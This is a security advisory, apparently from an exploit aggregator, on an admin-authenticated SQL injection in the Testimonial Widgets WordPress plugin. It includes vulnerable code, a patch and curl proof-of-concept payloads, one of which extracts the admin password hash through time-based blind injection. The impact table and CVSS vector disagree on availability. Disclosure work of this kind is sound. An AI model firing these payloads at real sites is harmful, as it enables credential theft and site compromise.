Share
## https://sploitus.com/exploit?id=20339A1B-9C90-5D17-8F25-2CA188B77EB8
# CVE-2026-XXXXX  

## Admin SQL Injection in Testimonial Widgets WordPress Plugin via Search Parameter  

---

### Advisory Information  

| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Plugin |
| **Package/Product** | Testimonial Widgets |
| **Affected Versions** | All versions through SVN r3587815 |
| **Patched Versions** | None |
| **Severity** | **HIGH (CVSS 7.2)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| **Plugin Slug** | `testimonial-widgets` |
| **Active Installs** | 10,000+ |
| **Repository** | https://plugins.svn.wordpress.org/testimonial-widgets/ |

---

### Summary  

The Testimonial Widgets plugin contains an authenticated SQL injection vulnerability in its admin panel. The `search` parameter from `$_GET` is sanitized only with `sanitize_text_field()` โ€” which does NOT prevent SQL injection โ€” and then concatenated directly into a SQL `LIKE` clause without using `$wpdb->prepare()`.  

---

### Affected Component  

| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Plugin |
| **Package** | testimonial-widgets |
| **Vendor** | Trustindex |
| **Affected Versions** | All (SVN r3587815) |
| **Patched Versions** | None |
| **File** | `testimonials-plugin.class.php`, line 4042 |

---

### Description  

The admin widget listing page at `tabs/index-widget-header.php` accepts a `search` GET parameter, applies `sanitize_text_field()`, and passes it to `get_widgets()` which uses it directly in SQL:  

**Vulnerable code:**

`tabs/index-widget-header.php` (lines 4โ€“8):
```php
$search = null;
if(isset($_GET['search'])) {
    $search = sanitize_text_field($_GET['search']);  // โŒ No SQL escaping  
}
$widgets = $trustindex_testimonials_pm->get_widgets($order_by, $order, $search);
```

`testimonials-plugin.class.php` (lines 4038โ€“4042):
```php
public function get_widgets($order_by = "id", $order = "asc", $search = null) {
    $dbtable = $this->get_widget_tablename();
    $sql = "SELECT * FROM $dbtable";
    if ($search) {
        $sql .= " WHERE name LIKE '%{$search}%'";  // โ† NO $wpdb->prepare()!
    }
    $results = $wpdb->get_results($sql);  // โ† SQL injection via $search  
}
```

`sanitize_text_field()` only strips HTML tags and invalid UTF-8 โ€” it does NOT escape SQL special characters like `'`, `"`, or `--`.  

---

### Proof of Concept  

**Environment:** WordPress 6.x with Testimonial Widgets plugin activated, authenticated as admin.

**PoC โ€” Time-Based Blind SQL Injection:**

```bash
# Admin access required (PR:H)
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+SLEEP(5)--+"
# Response delay of 5+ seconds confirms SQL injection
```

**PoC โ€” Credential Extraction:**

```bash
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+IF(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1)='$',SLEEP(5),0)--+"
# Iterative character extraction of admin password hash
```

**What happens:**

1. Admin visits the testimonial widgets listing page with `search` parameter in URL  
2. `sanitize_text_field()` strips HTML but passes SQL metacharacters through  
3. Raw string is interpolated into `LIKE '%{$search}%'`  
4. `$wpdb->get_results()` executes the injected SQL  
5. Time-based blind extraction yields user password hashes  

---

### Impact  

| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract WordPress user password hashes via time-based blind injection |
| Integrity | **HIGH** | Crack admin hash โ†’ full site compromise |
| Availability | **LOW** | Limited to data extraction via blind injection |

**Requires:** Admin authentication (PR:H). CVSS 7.2.

---

### Patches  

Replace string interpolation with `$wpdb->prepare()`:

```diff
  if ($search) {
-     $sql .= " WHERE name LIKE '%{$search}%'";
+     $sql .= $wpdb->prepare(" WHERE name LIKE %s", '%' . $wpdb->esc_like($search) . '%');
  }
```

Also apply `esc_sql()` before using in SQL, or use `$wpdb->prepare()` with `$wpdb->esc_like()` for LIKE clauses.  

---

### References  

| Type | URL |
|------|-----|
| WordPress.org | https://wordpress.org/plugins/testimonial-widgets/ |
| Vulnerable code | https://plugins.svn.wordpress.org/testimonial-widgets/trunk/testimonials-plugin.class.php |
| $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |

---

### Verification  

```bash
svn co https://plugins.svn.wordpress.org/testimonial-widgets/trunk/ tw-verify
cd tw-verify
grep -n "LIKE.*%{\$search}%" testimonials-plugin.class.php
# Output: 4042: $sql .= " WHERE name LIKE '%{$search}%'";
grep -n "sanitize_text_field.*search" tabs/index-widget-header.php
# Output: 7: $search = sanitize_text_field($_GET['search']);
```

**Verification status: โœ… ALL CHECKS PASSED**

---

### Credits  

| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |

---

### Timeline  

| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered via automated scanner + manual verification |
| 2026-06-27 | Vendor notified via private disclosure |
| TBD + 90 days | Coordinated public disclosure |

---

### CVSS v3.1  

```
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H โ€” 7.2 HIGH

AV:N โ€” Remote over HTTP  
AC:L โ€” Simple GET request  
PR:H โ€” Requires admin authentication  
UI:N โ€” No user interaction  
S:U   โ€” Same security context  
C:H   โ€” Extract password hashes via subquery  
I:H   โ€” Crack hash โ†’ admin โ†’ modify site  
A:H   โ€” Admin โ†’ delete all content  
```